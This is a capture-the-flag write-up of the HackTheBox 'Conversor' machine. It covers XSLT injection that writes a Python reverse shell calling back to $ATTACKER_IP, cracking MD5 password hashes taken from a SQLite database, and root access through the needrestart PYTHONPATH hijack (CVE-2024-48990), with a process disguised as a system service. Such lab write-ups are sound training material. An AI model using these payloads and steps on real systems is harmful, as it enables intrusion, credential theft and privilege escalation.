Skip to content
HackIndex logo

HackIndex

Conversor Writeup - HackTheBox

Easy Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

First we start with a NMAP scan:

┌──(kali㉿kali)-[~]
└─$ nmap_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd
|_http-title: Conversor

Add conversor.htb to /etc/hosts. Port 80 hosts a Flask web application — an XML/XSLT conversion tool that accepts file uploads and renders the transformation output.

Initial Access

Source Code Review

The app advertises itself as open-source and the source is available for download. The /convert route is the attack surface:

@app.route('/convert', methods=['POST'])
def convert():
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_tree = etree.parse(xml_path, parser)
    xslt_tree = etree.parse(xslt_path)
    transform = etree.XSLT(xslt_tree)
    result_tree = transform(xml_tree)

The XML parser has resolve_entities=False and no_network=True, blocking XXE. However, the XSLT file is parsed with no restrictions. lxml's XSLT engine supports EXSLT extensions including exsl:document, which writes arbitrary content to arbitrary paths on the filesystem — this is not blocked.

Registration is open. Create an account and log in to access the converter.

XSLT Injection — File Write to Web Root

The exsl:document extension element writes the contents of its body to a path specified in the href attribute. The app runs as www-data with write access to the scripts directory under the web root.

Craft a malicious XSLT that writes a Python reverse shell to a known server path:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:hackindex="http://exslt.org/common"
    extension-element-prefixes="hackindex"
    version="1.0">
<xsl:template match="/">
  <hackindex:document href="/var/www/conversor.htb/scripts/rs.py" method="text">
import os, pty, socket
s=socket.socket()
s.connect(("$ATTACKER_IP", $ATTACKER_PORT))
[os.dup2(s.fileno(), f) for f in(0, 1, 2)]
pty.spawn("sh")
  </hackindex:document>
</xsl:template>
</xsl:stylesheet>

Upload any valid XML file alongside this XSLT. The transformation runs, and exsl:document writes the Python shell to /var/www/conversor.htb/scripts/rs.py.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Trigger the shell by having the server execute the written script:

┌──(kali㉿kali)-[~]
└─$ curl http://conversor.htb/scripts/rs.py

Shell lands as www-data.

Lateral Movement

SQLite Credential Extraction

The app's SQLite database is at /var/www/conversor.htb/instance/users.db. Extract the users table:

user@host ~ $ sqlite3 /var/www/conversor.htb/instance/users.db "SELECT username,password FROM users;"
fismathack|$FISMATHACK_HASH
admin|21232f297a57a5a743894a0e4a801fc3

Passwords are MD5-hashed without salt. Crack with hashcat:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
$FISMATHACK_HASH:$FISMATHACK_PASSWORD

SSH as fismathack

┌──(kali㉿kali)-[~]
└─$ ssh fismathack@$TARGET_IP

The cracked password works directly on the system account.

Privilege Escalation

CVE-2024-48990 — needrestart PYTHONPATH Hijack

Check the needrestart version:

user@host ~ $ needrestart -V
needrestart 3.5

Versions before 3.8 are vulnerable to CVE-2024-48990. When needrestart scans running processes for interpreter restarts, it picks up the PYTHONPATH environment variable from Python processes and imports from it — including shared libraries. A local user can plant a malicious __init__.so in a controlled PYTHONPATH directory and wait for needrestart to trigger (e.g. during an apt upgrade), causing the shared library to execute as root.

The exploit adds a new root-equivalent user _daemon to /etc/passwd by patching the file with sed.

Compile the shared library on the attacker machine:

┌──(kali㉿kali)-[~]
└─$ gcc exploit.c -o exploit.so -shared -fPIC -s

Transfer it to the target and stage the exploit:

user@host ~ $ # Create directory structure — importlib subdirectory is required
user@host ~ $ mkdir -p /tmp/.X11-Unix/importlib
user@host ~ $ mv exploit.so /tmp/.X11-Unix/importlib/__init__.so

Start a long-running Python process with the malicious PYTHONPATH set. The process needs to look like a real system process and reference an existing file as its "script":

PYPATH=/tmp/.X11-Unix PYTHON=/usr/bin/python3 \
ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' \
python3 -c '
import os, ctypes
libc = ctypes.CDLL("libc.so.6")
pid = os.fork()
exit() if pid > 0 else print("\n", os.getpid())
libc.ptrace(0, 0, 0, 0)
os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH": os.environ["PYPATH"]})
'

This forks a suspended Python process visible in the process list with a convincing name. needrestart will see it, read its PYTHONPATH, and import from it the next time it runs.

Trigger needrestart by running apt:

user@host ~ $ sudo apt-get update

Once needrestart fires, the shared library executes and patches /etc/passwd:

user@host ~ $ su _daemon

Password: _daemon. Root shell.

References